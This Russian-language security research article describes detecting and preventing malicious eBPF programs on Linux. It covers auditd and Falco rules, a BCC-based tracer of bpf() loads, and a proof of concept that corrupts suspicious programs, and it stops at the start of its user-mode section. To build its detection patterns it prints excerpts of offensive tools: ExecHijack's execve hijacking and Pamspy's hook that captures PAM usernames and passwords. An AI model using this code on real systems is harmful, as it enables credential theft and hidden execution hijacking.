Оглавление
- eBPF 101
- (evil)BPF - offensive-возможности
- Гипотеза
- Detection. Trivial
- Detection. Kernel-mode
- Prevention. Kernel-mode
- Detection. User-mode
- Response. User-mode
- Проблемы, с которыми мы столкнулись
- Выводы
В 2023 году у DFIR-команды Solar 4RAYS было интересное расследование, в котором сходу не удалось найти ВПО в образе системы на базе ОС Linux. Недавно отгремел BPFDoor, поэтому у нас появились мысли о том, что ВПО было в eBPF (встроенная в Linux технология запуска кода в пространстве ядра). ВПО, конечно же, было найдено, но оно никак не было связано с eBPF. Однако мысли о вредоносах на eBPF никуда не делись.
Говорить о eBPF в контексте вредоносного использования важно, так как:
- eBPF работает в пространстве ядра;
- Порог вхождения для написания eBPF-программ существенно ниже, чем для написания модулей ядра;
- На базе Linux работает практически весь prod;
- Систем на базе Linux (не только серверных) в России становится все больше;
- Нам кажется, что тема в сообществе очень слабо освещена.
И пусть массового нашествия eBPF-вредоносов пока не наблюдается, все вышеописанное побудило нас разобрать до винтиков механизмы работы eBPF и задуматься о том, как можно обнаружить и предотвратить загрузку вредоносных eBPF-модулей. Кстати, код, демонстрирующий описанные в статье подходы, можно найти у нас на Github.
eBPF 101
eBPF - технология, которая позволяет запускать гарантированно безопасный с точки зрения операционной системы код в пространстве ядра. За безопасность и гарантии выполнения кода в eBPF отвечает верификатор, однако он же накладывает ряд существенных ограничений, о которых расскажем позже.
Главные особенности eBPF:
- Just-in-Time (JIT) compilation;
- Event-driven: eBPF-программы прикрепляются к различным точкам в ядре и начинают работать в ответ на определенное событие;
- k(ret)probes, u(ret)probes, tracepoints: существует множество вариантов точек прикрепления;
- bpf-helpers: eBPF поддерживает различные безопасные обертки над стандратными функциями, которые позволяют выполнять различные действия (чтение памяти, запись в память, получение информации о процессе);
- Usermode+kernelmode interaction: eBPF поддерживает простое взаимодействие между пространством пользователя и пространством ядра.
Основные области применения eBPF:
- Networking
- Observability
- Tracing
- Security
Для работы с eBPF обычно используются библиотеки на различных языках программирования (Python, Rust, Go, C). Написанная на языке C программа компилируется, загружается в ядро и верифицируется.
eBPF - мощный механизм, который открывает широкие возможности для ИБ- и ИТ-команд в части мониторинга производительности, фильтрации трафика, а также отслеживания различных событий. Однако этот же механизм может быть использован во вред.
(evil)BPF - offensive-возможности
Программы eBPF работают в ответ на какое-либо событие, поэтому во вредоносных целях eBPF может быть использован для:
- Files hiding: сокрытия файлов из выводов различных утилит;
- Processes hiding: сокрытия процессов из выводов различных утилит;
- Socket hiding: сокрытия сокетов;
- Input/output hijacking: подмены ввода/вывода различных системных вызовов;
- Execution flow hijacking: изменения потока выполнения программ;
- Read/write blocking: блокировки чтения/записи для заданных файлов;
- Traffic filters (passive backdoor): создания фильтров трафика для сокетов (примерно по этому же принципу работает tcpdump).
Большинство возможностей обеспечивается посредством перехвата системных вызовов, отвечающих за ту или иную операцию, с последующей проверкой каких-либо условий.Например, можно перехватить вызов getdents64, чтобы скрыть из вывода утилиты ps запись об определенном процессе.
В целом, по вредоносным возможностям eBPF напоминает руткиты, так как с ее помощью можно скрывать поведение на системе.
На момент написания этой статьи описано только два вредоносных семейства, которые используют возможности eBPF: BPFDoor и Symbiote. Но это не означает, что их не может существовать больше. Оба семейства используют eBPF только в контексте фильтрации трафика.
Гипотеза
Как же подготовиться к возможным атакам с помощью eBPF-вредоносов? Сформулируем гипотезу, по которой дальше будем работать:
- Для работы eBPF-программы нужно загрузить ее в ядро;
- Чтобы предотвратить атаку с помощью такого ВПО, нужно анализировать загружаемую программу в момент ее загрузки, предварительно выделив признаки для анализа;
- Если реализованные меры предотвращения атаки не сработают на конкретную загружаемую программу, нужно выделить признаки для последующего анализа eBPF-программы в пространстве пользователя.
Вооружаемся исходниками ядра Linux и начинаем разбирать жизненный цикл eBPF-программ.
Detection. Trivial
Теория: загрузка eBPF-программы
Для того, чтобы понять, что происходит на системе в момент загрузки eBPF-программы, воспользуемся strace:
Утилита exechijack загружает в ядро eBPF-программу. В выводе strace видно, что при загрузке программы многократно выполняется один системный вызов: bpf().
Фактически, bpf() - главный и единственный системный вызов, с помощью которого происходит работа с eBPF. Он отвечает за все аспекты работы eBPF: от загрузки программы до передачи значений через мапы.
- Первый аргумент (int cmd) - число (константа), которое определяет выполняемую операцию;
- Второй аргумент (bpf_attr *attr) - указатель на структуру, которая будет определена в зависимости от первого аргумента (мы вернемся к ней позже);
- Третий аргумент (unsigned int size) - размер структуры bpf_attr.
enum bpf_cmd {
BPF_MAP_CREATE,
BPF_MAP_LOOKUP_ELEM,
BPF_MAP_UPDATE_ELEM,
BPF_MAP_DELETE_ELEM,
BPF_MAP_GET_NEXT_KEY,
BPF_PROG_LOAD, // cmd == 5
....,
BPF_TOKEN_CREATE,
__MAX_BPF_CMD,
};
Enum bpf_cmd содержит в себе множество значений, но в контексте гипотезы наиболее интересным является BPF_PROG_LOAD (cmd = 5), поскольку системный вызов bpf() с этой командой выполняет загрузку программы в ядро.
Логика обнаружения на примере AuditD и Falco
Для обнаружения загрузки eBPF-программ в ядро добавим в конфиги Falco и AuditD записи с логикой отслеживания системного вызова bpf() с первым аргументом (cmd), равным BPF_PROG_LOAD (5):
#bpf
-a always,exit -F arch=b64 -S bpf -F a0=5 -F key=bpf_prog_load
#bpf
- macro: bpfuse
condition: (evt.type = bpf)
- rule: EBPF Module Load
desc: EBPF Module Load
condition: >
bpfuse and evt.arg.cmd = 5
enabled: true
output: "BPF load (%evt.type %user.name %user.uid %user.loginuid %user.loginname %container.id %container.name %container.image %container.image.id %container.privileged %proc.aexepath[2] %proc.aexepath[3] %proc.aexepath[4] %proc.aexepath[5] %proc.apid[2] %proc.apid[3] %proc.apid[4] %proc.apid[5] %proc.duration %proc.sid %proc.tty %proc.cwd %proc.pid %proc.exepath %proc.exe %proc.name %proc.cmdline %proc.ppid %proc.pexepath %fd.name %evt.arg.flags %evt.res %evt.args %evt.info %evt.arg.cmd)"
priority: INFO
tags: [eventid_XX, bpf_prog_load, version_XX]
Соответствующие примеры событий AuditD и Falco:
{
"node": "-------",
"type": "SYSCALL",
"msg": "audit(1728891118.040:546016)",
"details": {
"arch": "c000003e",
"syscall": 321,
"success": "yes",
"exit": 5,
"a0": 5,
"a1": "7ffc66c2afe0",
"a2": 74,
"a3": 70,
"items": 0,
"ppid": 393196,
"pid": 393343,
"auid": 4294967295,
"uid": 0,
"gid": 0,
"euid": 0,
"suid": 0,
"fsuid": 0,
"egid": 0,
"sgid": 0,
"fsgid": 0,
"tty": "pts1",
"ses": 4294967295,
"comm": "exechijack",
"exe": "/home/user/blood/exechijack",
"subj": "unconfined",
"key": "bpf_prog_load"
}
}
{
"hostname": "-------",
"priority": "Informational",
"rule": "EBPF Module Load",
"source": "syscall",
"tags": [
"bpf_prog_load",
"eventid_xxx",
"version_xxx"
],
"time": "2024-10-15T08:08:05.098803707Z",
"output_fields": {
"container.id": "host",
.........,
"evt.type": "bpf",
"fd.name": null,
"proc.aexepath[2]": "/usr/bin/su",
"proc.aexepath[3]": "/usr/bin/sudo",
"proc.aexepath[4]": "/usr/bin/sudo",
"proc.aexepath[5]": "/usr/bin/bash",
"proc.apid[2]": 18999,
"proc.apid[3]": 18998,
"proc.apid[4]": 18997,
"proc.apid[5]": 18986,
"proc.cmdline": "exechijack",
"proc.cwd": "/home/user/blood/bad-bpf/",
"proc.duration": 26152894,
"proc.exe": "./exechijack",
"proc.exepath": "/home/user/blood/bad-bpf/exechijack",
"proc.name": "exechijack",
"proc.pexepath": "/usr/bin/bash",
"proc.pid": 29328,
"proc.ppid": 19000,
"proc.sid": 18998,
"proc.tty": 34817,
"user.loginname": "user",
"user.loginuid": 1000,
"user.name": "root",
"user.uid": 0
}
}
Полезных данных в событиях не так много:
- ppid;
- pid;
- Имя процесса-инициатора загрузки eBPF-программы;
- Имя родительского процесса;
- user id (*uid);
- user name.
Из приведенных событий можно сделать вывод, что самым главным минусом данного подхода к обнаружению является отсутствие контекста выполнения eBPF-программы. Мы имеем только факт загрузки и метаданные о процессе, ее выполнившем. Из-за отсутствия контекста требуется профилирование по процессам/пользователям.
Однако данный способ будет работать практически с любым средством аудита, в основе телеметрии которого лежат системные вызовы. Помимо этого, сама логика обнаружения довольно простая. Эти два фактора являются плюсами данного подхода.
Detection. Kernel-mode
Теория: структура bpf_attr
Для более точного детекта нам нужно больше контекста, чем предлагает предыдущий метод. Осталось только понять, откуда этот контекст можно получить.
Внимательно посмотрим на структуру bpf_attr, которая является вторым аргументом системного вызова bpf():
bpf(BPF_PROG_LOAD, {prog_type=BPF_PROG_TYPE_KPROBE, insn_cnt=46,
insns=0x7608d914ab78, license="GPL",
log_level=0, log_size=0, log_buf=NULL,
kern_version=KERNEL_VERSION(6, 8, 12), prog_flags=0, prog_name="hello", prog_ifindex=0,
expected_attach_type=BPF_CGROUP_INET_INGRESS, prog_btf_fd=3, func_info_rec_size=8,
func_info=0x56f5df3a0cc0, func_info_cnt=1, line_info_rec_size=16,
line_info=0x56f5deed8780,
line_info_cnt=20, attach_btf_id=0, attach_prog_fd=0, fd_array=NULL}, 128) = 5
В структуре bpf_attr присутствует следующая полезная информация:
1) prog_type - тип eBPF-программы. Он означает, какой тип события будет триггером для начала работы загруженной eBPF-программы. К примеру, у BPF_PROG_TYPE_KPROBE триггером для срабатывания будет kprobe.
enum bpf_prog_type {
BPF_PROG_TYPE_UNSPEC,
BPF_PROG_TYPE_SOCKET_FILTER,
BPF_PROG_TYPE_KPROBE,
BPF_PROG_TYPE_SCHED_CLS,
BPF_PROG_TYPE_SCHED_ACT,
BPF_PROG_TYPE_TRACEPOINT,
BPF_PROG_TYPE_XDP,
BPF_PROG_TYPE_PERF_EVENT,
BPF_PROG_TYPE_CGROUP_SKB,
BPF_PROG_TYPE_CGROUP_SOCK,
BPF_PROG_TYPE_LWT_IN,
BPF_PROG_TYPE_LWT_OUT,
BPF_PROG_TYPE_LWT_XMIT,
BPF_PROG_TYPE_SOCK_OPS,
BPF_PROG_TYPE_SK_SKB,
};
2) prog_name - имя функции самой eBPF-программы. Не путать с именем процесса.
SEC("tp/syscalls/sys_enter_execve")
int handle_execve_enter(struct trace_event_raw_sys_enter *ctx)
{return 0;}
Теория: инструкции программы (insns)
Помимо общей информации о перехватываемой eBPF-программе из bpf_attr возможно получить листинг её инструкций, а также число инструкций (insn_cnt). Все инструкции загружаемой eBPF-программы находятся в массиве insns:
Каждый элемент массива - это структура bpf_insn (инструкция eBPF-программы):
- code - opcode операции;
- dst_reg, src_reg - регистры;
- off - смещение;
- imm - константное значение.
Теория: bpf-helpers
В eBPF имеются вспомогательные функции (bpf-helpers), которые являются безопасными обертками над различными функциями ядра. С их помощью внутри eBPF-программы становятся возможны различные действия:
- Чтение памяти;
- Получение информации об исполняемом файле;
- Вывод в консоль;
- Работа с мапами;
- Работа с различными kernel-структурами.
//чтение памяти по указателю
bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]);
..
datapid = bpf_get_current_pid_tgid() >> 32;
Вызов bpf-helpers в листинге eBPF-программы производится с помощью инструкции BPF_EMIT_CALL():
- .code = 133 (0x85)
- .imm = <helper_num>
- helper_num – порядковый номер функции, определенный в bpf.h
static long (* const bpf_probe_read)(void *dst, __u32 size, const void *unsafe_ptr) = (void *) 4;
//code = 133
//imm = 4
В заголовках определено большое число (200+) хэлперов, некоторые из них можно назвать потенциально подозрительными:
- bpf_override_return - может использоваться для перезаписи возвращаемого системным вызовом значения;
- bpf_probe_write_user - может использоваться для изменения различных данных в памяти;
- bpf_copy_from_user - может использоваться для чтения информации из пространства пользователя.
Реализация
Получение общей информации о eBPF-программе
Для получения дополнительного контекста, на котором можно будет строить дальнейшую логику детекта, нам нужно реализовать перехват системного вызова bpf() и получение необходимых параметров загружаемой eBPF-программы. Для перехвата системных вызовов отлично подходит сама технология eBPF.
Для реализации была использована библиотека BCC (Python), в качестве точки трассировки выбрана kprobe (вход в системный вызов). В самой программе будем отслеживать вызовы с cmd = BPF_PROG_LOAD:
# Load BPF program
bpf_ctx = BPF(text=bpf_prog_txt)
event_name = bpf_ctx.get_syscall_fnname("bpf")
bpf_ctx.attach_kprobe(event=event_name, fn_name="syscall__bpf")
struct gen_info {
u32 random_id;
u32 pid;
char comm[TASK_COMM_LEN];
char prog_name[MAX_PROG_FULL_NAME];
int cmd;
u32 prog_type;
u32 insn_cnt;
u32 log_size;
};
int syscall__bpf(struct pt_regs *ctx, int cmd, union bpf_attr *attr, unsigned int size) {
enum bpf_cmd condition = BPF_PROG_LOAD;
if (cmd == condition) {
//randomuniq prog id
u32 random_id = bpf_get_prandom_u32();
// load generic_info structure
struct gen_info s_gen_info = {};
s_gen_info.pid = bpf_get_current_pid_tgid();
s_gen_info.cmd = cmd;
bpf_get_current_comm(&s_gen_info.comm, sizeof(s_gen_info.comm));
s_gen_info.prog_type = attr->prog_type;
s_gen_info.insn_cnt = attr->insn_cnt;
s_gen_info.log_size = attr->log_size;
s_gen_info.random_id = random_id;
bpf_probe_read(&s_gen_info.prog_name, sizeof(attr->prog_name), (void *)(attr->prog_name));
//to outside genericinfo
generic_info.perf_submit(ctx, &s_gen_info, sizeof(s_gen_info));
return 0;
}
}
Пояснения по коду выше:
- Собирается информация о процессе, инициировавшем вызов bpf(): comm (имя процесса) с помощью bpf_get_current_comm() и pid с помощью bpf_get_current_pid_tgid();
- Собирается различная информация о eBPF-программе из структуры bpf_attr (prog_name, prog_type, insn_cnt);
- Формируется структура gen_info, содержащая собранную информацию.
Далее структура gen_info передается в user-mode с помощью perf_submit().
Листинг инструкций и bpf-helpers
Для листинга всех инструкций eBPF-программы после получения общей информации нужно пройтись по массиву инструкций, расположенному по указателю insns. Для итерации по массиву будем использовать размер структуры bpf_insn в качестве шага:
struct correct_types {
u32 random_id;
u32 insn_cnt;
u32 insn_num;
u8 code;
u8 reg;
s16 off;
s32 imm;
char prog_name[32];
};
BPF_ARRAY(parseArray, struct correct_types, MAX_INSN_COUNT);
int syscall__bpf(struct pt_regs *ctx, int cmd, union bpf_attr *attr, unsigned int size) {
enum bpf_cmd condition = BPF_PROG_LOAD;
if (cmd == condition){
/////get pid,comm,prog_type,prog_name
u64 insns_ptr = attr->insns;
for (u64 i = 0; i < count; i++) {
u64 insn_addr = insns_ptr + i * sizeof(insn);
bpf_probe_read(&insn, sizeof(insn), (void *)insn_addr);
struct correct_types new_correct = {};
new_correct.code = insn.code;
new_correct.reg = insn.reg;
new_correct.off = insn.off;
new_correct.imm = insn.imm;
new_correct.insn_num = i;
new_correct.insn_cnt = attr->insn_cnt;
new_correct.random_id = random_id;
bpf_probe_read(new_correct.prog_name, sizeof(prog_n), prog_n);
int key = i;
parseArray.update(&key, &new_correct);
}
}
Каждая инструкция с дополнительной информацией помещается в структуру correct_types, которая помещается в массив parseArray. В итоге получаем листинг инструкций eBPF-программы, которую мы перехватили.
random_id: 124124, insn_cnt: 46, insn_num: 0, code: 191, reg: 22, off: 0, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 1, code: 183, reg: 1, off: 0, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 2, code: 99, reg: 26, off: -8, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 3, code: 123, reg: 26, off: -16, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 4, code: 123, reg: 26, off: -24, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 5, code: 123, reg: 26, off: -32, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 6, code: 183, reg: 1, off: 0, imm: 6581362, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 7, code: 99, reg: 26, off: -48, imm: 0, name: , prog_name: hello
Далее мы будем парсить имена bpf-helpers из листинга eBPF-программы. Для этого инициализируем хэш-таблицу, в которой в качестве ключа выступает порядковый номер хэлпера из заголовков ядра, а в качестве значения - структура с именем хэлпера.
struct helper_function_string {
char helper_name[32];
};
BPF_HASH(func_table, u64, struct helper_function_string);
int func_table_init (struct pt_regs *ctx) {
u64 func_key;
func_key = 6;
struct helper_function_string bpf_trace_printk_str = {"bpf_trace_printk"};
func_table.update(&func_key, &bpf_trace_printk_str);
func_key = 14;
struct helper_function_string bpf_get_current_pid_tgid_str = {"bpf_get_current_pid_tgid"};
func_table.update(&func_key, &bpf_get_current_pid_tgid_str);
// others
return 0;
}
Остается только пройтись по листингу инструкций и обогатить все инструкции с .code = 133 (BPF_EMIT_CALL) соответствующими названиями в хэш-таблице:
for (u32 i = 0; i < count; i++) {
u64 insn_addr = insns_ptr + i * sizeof(insn);
bpf_probe_read(&insn, sizeof(insn), (void *)insn_addr);
if (insn.code == 133) {
u64 key_to_query = correct.imm;
bpf_trace_printk("code: %d, imm: %d", insn.code, insn.imm);
struct helper_function_string *res = func_table.lookup(&key_to_query);
if (!res){
return 0;
}
char name[MAX_FUNC_NAME_LEN];
bpf_probe_read(name, sizeof(name), res->helper_name);
bpf_probe_read(correct.name, sizeof(name), name);
}
else {
continue;
}
}
Итого на выходе получаем:
- Общую информацию о перехватываемой eBPF-программе;
- Листинг инструкций eBPF-программы;
- Обогащенные именами вызовы bpf-helpers.
{'comm': b'hello-buffer.py', 'pid': 61316, 'cmd': 5, 'prog_type': 2, 'prog_name': b'hello', 'insn_cnt': 46}
random_id: 124124, insn_cnt: 46, insn_num: 0, code: 191, reg: 22, off: 0, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 1, code: 183, reg: 1, off: 0, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 2, code: 99, reg: 26, off: -8, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 3, code: 123, reg: 26, off: -16, imm: 0, name: , prog_name: hello
random_id: 124124, insn_cnt: 46, insn_num: 4, code: 123, reg: 26, off: -24, imm: 0, name: , prog_name: hello
//////
random_id: 124124, insn_cnt: 46, insn_num: 14, code: 133, reg: 0, off: 0, imm: 15, name: bpf_get_current_pid_tgid, prog_name: hello
///////
random_id: 124124, insn_cnt: 46, insn_num: 28, code: 133, reg: 0, off: 0, imm: 16, name: bpf_trace_printk, prog_name: hello
///////
random_id: 124124, insn_cnt: 46, insn_num: 45, code: 149, reg: 0, off: 0, imm: 0, name: , prog_name: hello
Обращаем внимание на последнюю инструкцию в листинге с кодом 149. Этот код соответствует инструкции BPF_EXIT_INSN(), которая буквально означает выход из программы. Эта информация понадобится несколько позже.
Сложности реализации
Почему в eBPF-программе нельзя получить больше информации о перехваченной программе? Дело в том, что eBPF имеет множество ограничений. Например:
- Ограниченное количество инструкций в рамках одной программы (1000000 insns);
- Вложенные циклы тяжело даются eBPF (даже 1 уровень вложенности), потому что они считаются слишком сложными, и программа не компилируется. Связано это также с тем, что eBPF разворачивает все циклы в “простыню” инструкций с учетом всех ветвлений внутри;
- В eBPF отсутствуют многие стандартные C-библиотеки, из-за чего функциональность сильно ограничена (пример - сравнение строк).
Далее мы так или иначе будем пробовать обходить эти ограничения.
Prevention. Kernel-mode
Мы решили не останавливаться на достигнутом и попробовать прервать загрузку eBPF до её загрузки в ядро на основе паттернов, которые классифицируют программу как вредоносную.
Предлагаемые паттерны для классификации:
1) Захардкоженный в eBPF-программе prog_name;
2) Характерное количество определенных bpf-helpers в рамках одной программы.
Что нужно сделать для реализации Prevention:
1) Понять, как прервать загрузку программы в ядро;
2) Обойти ограничения на количество инструкций;
3) Сформировать паттерны на основе анализа кода вредоносных eBPF-модулей и протестировать работоспособность.
PoC eBPF corruption
Для прерывания загрузки eBPF-программы, которую мы перехватили, был разработан PoC под названием “eBPF corruption”.
Принцип работы PoC:
1) Формируется структура bpf_insn, где .code присваивается значение 149 BPF_EXIT_INSN(). Таким образом мы формируем инструкцию, которая выполняет выход из программы;
2) С помощью bpf_probe_write_user на место первой инструкции перехватываемой eBPF-программы помещается инструкция BPF_EXIT_INSN();
3) Таким образом, перехваченная нами eBPF-программа ломается и выдает ошибку при попытке загрузки.
struct bpf_insn_out {
u8 code;
u8 dst_reg:4;
u8 src_reg:4;
s16 off;
s32 imm;
};
int syscall__bpf(struct pt_regs *ctx, int cmd, union bpf_attr *attr, unsigned int size) {
if (cmd == BPF_PROG_LOAD) {
struct event_t event = {};
event.insns_ptr = (u64) attr->insns;
struct bpf_insn_out new_insn = {0};
new_insn.code = 0x95;
// Запись новой инструкции по указателю insns_ptr
bpf_probe_write_user((void *)event.insns_ptr, &new_insn, sizeof(new_insn));
}
return 0;
}
Tail Calls. Обход ограничений
Для того, чтобы обойти ограничения на количество инструкций в рамках одной eBPF-программы, был использован механизм Tail Calls. Он позволяет разбить логику одной eBPF-программы на несколько последовательно вызываемых eBPF-программ, чтобы немного смягчить ограничения на количество инструкций.
int syscall__bpf(struct pt_regs *ctx, int cmd, union bpf_attr *attr, unsigned int size) {
enum bpf_cmd condition = BPF_PROG_LOAD;
if (cmd == condition) {
for (u64 i = 0; i < count; i++) {
//do some things
}
}
//tail call in next eBPF prog filtersInit()
prog_array.call(ctx, 1);
return 0;
}
int filtersInit(struct pt_regs *ctx) {
//init patterns
// call next eBPF prog...
prog_array.call(ctx, 2);
return 0;
}
Реализация
Теперь наша eBPF-программа имеет следующую логику:
1) Точка входа - syscall__bpf. Перехватывает загрузку eBPF-программы, получает общую информацию о ней, осуществляет листинг инструкций insns;
2) filtersInit. Инициализирует ранее описанные нами паттерны (количество определенных bpf-helpers и prog_name);
3) funcPatternfilter и funcPatternfilterverdict. Осуществляют парсинг bpf-helpers из листинга и сравнивают их с паттернами. Если программа попадает под один из них, то происходит eBPF corruption, иначе происходит переход к следующей проверке;
4) funcPatternProgname. Осуществляет проверку по паттернам имен eBPF-программ. Если программа попадает под один из них, то происходит eBPF corruption, иначе происходит переход к следующей программ;.
5) successfulVerification. К этому моменту все проверки пройдены. Листинг программы и общая информация отдается в user-mode.
Пример работы Prevention
ExecHijack
Для проверки работы механизма Prevention использован модуль ExecHijack из пака bad-bpf. Программа перехватывает все системные вызовы execve (запуск процессов) и вместо целевого процесса запускает другой (определенный на этапе запуска ExecHijack). Для примера сначала вызываем whoami с включенным ExecHijack, потом без него.
user@k8smaster:~$ whoami
user
user@k8smaster:~$ whoami
User 1000 | argv[0] whoami
ExecHijack. Принцип работы
1) eBPF-модуль handle_execve_enter прикрепляется к execve (sys_enter_execve):
SEC("tp/syscalls/sys_enter_execve")
int handle_execve_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
// Check if we're a process of interest
if (target_ppid != 0) {
}
....................
}
2) Далее программа подменяет args[0], в котором хранится путь до бинарного файла, на /a (подложенный бинарный файл):
// Attempt to overwrite with hijacked binary path
prog_name[0] = '/';
prog_name[1] = 'a';
for (int i = 2; i < TASK_COMM_LEN ; i++) {
prog_name[i] = '\x00';
}
long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3);
3) /a может иметь любой функционал, в нашем случае выводится uid и argv[0]:
int main(int argc, char *argv[]) {
printf("User %d | argv[0] %s\n", getuid(), argv[0]);
return 0;
}
ExecHijack. Формирование паттернов
Проанализировав исходный код ExecHijack, можно выделить характерное количество вызываемых bpf-helpers (название, количество вызовов):
- bpf_get_current_pid_tgid – 1
- bpf_get_current_task – 1
- bpf_probe_read_kernel – 2
- bpf_probe_read_user – 2
- bpf_trace_printk – 2
- bpf_probe_write_user – 1
- bpf_ringbuf_reserve – 1
- bpf_ringbuf_submit - 1
А также добавить в паттерны захардкоженное название программы:
- handle_execve_enter
detectname == "exechijack":
funclimitpatterns = {
14: 1, #bpf_get_current_pid_tgid
35: 1, #bpf_get_current_task
113: 2, #bpf_probe_read_kernel
112: 2, #bpf_probe_read_user
6: 2, #bpf_trace_printk
36: 1, #bpf_probe_write_user
131: 1, #bpf_ringbuf_reserve
132: 1, #bpf_ringbuf_submit
}
prognamepatterns = ["handle_execve_enter"]
ExecHijack. Тестирование Prevention
При использовании в нашей программе паттернов, указанных выше, ExecHijack не сможет загрузиться:
root@k8smaster:/bad-bpf# ./exechijack
libbpf: loading object 'exechijack_bpf' from buffer
.......
jump out of range from insn 2 to 25467
processed 0 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0
-- END PROG LOAD LOG --
libbpf: prog 'handle_execve_enter': failed to load: -22
libbpf: failed to load object 'exechijack_bpf'
libbpf: failed to load BPF skeleton 'exechijack_bpf': -22
Failed to load and verify BPF skeleton
Pamspy
Также для тестирования механизма Prevention проанализирована eBPF-утилита Pamspy.
PAM (Pluggable Authentication Modules) используется в ходе обработки аутентификаций такими программами, как sudo, sshd, etc. Это условный API, который используют приложения для проверки подлинности пользователя.
Утилита Pamspy цепляется к функции pam_get_authtok в библиотеке libpam.so.0, перехватывает данные аутентификации и выводит пароль в открытом виде.
Таким образом, каждый раз, когда кто-то осуществит аутентификацию с помощью sudo, sshd, etc, Pamspy перехватит данные в открытом виде.
Pamspy. Принцип работы
1) На вход передается путь до elf файла библиотеки libpam.so.0. По пути и названию нужной функции (pam_get_authtok) вычисляется ее смещение в библиотеке:
int offset = pamspy_find_symbol_address(env.libpam_path, "pam_get_authtok");
2) По данному смещению прикрепляются eBPF-обработчики uprobe: get_addr_pam_get_authtok (вход в фунцию) и trace_pam_get_authtok (выход из функции):
// Attach userland probes
skel->links.get_addr_pam_get_authtok = bpf_program__attach_uprobe(
skel->progs.get_addr_pam_get_authtok,
false, /* uprobe */
-1, /* any pid */
env.libpam_path, /* path to the lib*/
offset
);
skel->links.trace_pam_get_authtok = bpf_program__attach_uprobe(
skel->progs.trace_pam_get_authtok,
true, /* uretprobe */
-1, /* any pid */
env.libpam_path, /* path to the lib*/
offset
);
3) Переходим в логику eBPF-программы. При входе в функцию сохраняется указатель на структуру pam_handle_t в хэш-таблицу pam_handle_t_map, ключом является pid. Данная структура содержит в себе логин и пароль.
SEC("uprobe/pam_get_authtok")
int get_addr_pam_get_authtok(struct pt_regs *ctx)
{
if (!PT_REGS_PARM1(ctx))
return 0;
pam_handle_t* phandle = (pam_handle_t*)PT_REGS_PARM1(ctx);
// Get current PID to track
u32 pid = bpf_get_current_pid_tgid() >> 32;
// Store pam_handle_t pointer in map for later use
bpf_map_update_elem(&pam_handle_t_map, &pid, &phandle, BPF_ANY);
return 0;
};
4) При выходе из функции мы получаем свой pid, и по которому (как по ключу) обращаемся в хэш-мапу, извлекаем соответствующую структуру pam_handle_t и получаем логин и пароль. Отправляем их в пользовательское пространство через кольцевой буфер.
SEC("uretprobe/pam_get_authtok")
int trace_pam_get_authtok(struct pt_regs *ctx)
{
pam_handle_t* phandle = 0;
// Get current PID to track
u32 pid = bpf_get_current_pid_tgid() >> 32;
// Get pam_handle_t pointer from map
void *pam_handle_t_ptr = bpf_map_lookup_elem(&pam_handle_t_map, &pid);
if (!pam_handle_t_ptr)
return 0;
bpf_probe_read(&phandle, sizeof(phandle), pam_handle_t_ptr);
// Delete map entry after use
if (bpf_map_delete_elem(&pam_handle_t_map, &pid)) return 0;
// retrieve output parameter
u64 password_addr = 0;
bpf_probe_read(&password_addr, sizeof(password_addr), &phandle->authtok);
u64 username_addr = 0;
bpf_probe_read(&username_addr, sizeof(username_addr), &phandle->user);
event_t *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e)
{
e->pid = pid;
bpf_probe_read(&e->password, sizeof(e->password), (void *)password_addr);
bpf_probe_read(&e->username, sizeof(e->username), (void *)username_addr);
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
Pamspy. Формирование паттернов
После анализа исходного кода Pamspy можно выделить характерное количество вызываемых bpf-helpers (название, количество вызовов) для функции trace_pam_get_authtok:
- bpf_get_current_pid_tgid – 1
- bpf_map_lookup_elem – 1
- bpf_probe_read – 5
- bpf_map_delete_elem – 1
- bpf_get_current_comm – 1
- bpf_ringbuf_submit - 1
Также можно добавить в паттерны название программы trace_pam_get_authtok.
detectname == "pamspy":
funclimitpatterns = {
14: 1, #bpf_get_current_pid_tgid
1: 1, #bpf_map_lookup_elem
4: 5, #bpf_probe_read
3: 1, #bpf_map_delete_elem
16: 1, #bpf_get_current_comm
132: 1, #bpf_ringbuf_submit
131: 1, #bpf_ringbuf_reserve
}
prognamepatterns = ["trace_pam_get_authtok"]
Pamspy. Тестирование Prevention
Результат тестирования аналогичен результату для ExecHijack: загрузка программы успешно прерывается:
root@k8smaster:/pamspy# ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
libbpf: prog 'trace_pam_get_authtok': BPF program load failed: Invalid argument
libbpf: prog 'trace_pam_get_authtok': -- BEGIN PROG LOAD LOG --
jump out of range from insn 2 to 2546
processed 0 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0
-- END PROG LOAD LOG --
libbpf: failed to load program 'trace_pam_get_authtok'
libbpf: failed to load object 'pamspy_bpf'
libbpf: failed to load BPF skeleton 'pamspy_bpf': -22
pamspy: Failed to load BPF program: Invalid argument
Detection. User-mode
Если загруженная eBPF-программа прошла все проверки в пространстве ядра, то мы продолжим последующий анализ в пространстве пользователя, куда передаем следующую информацию:
- Метаданные загруженной программы;
- Информация о процессе;
- Листинг загруженной программы в формате структур, который мы упоминали выше.
Инструкции
Напомним, как выглядит инструкция:
и как определена структура bpf_insn в заголовках:
Расскажем о том, что означает эта структура и что с ней можно сделать помимо того, что уже описано выше.
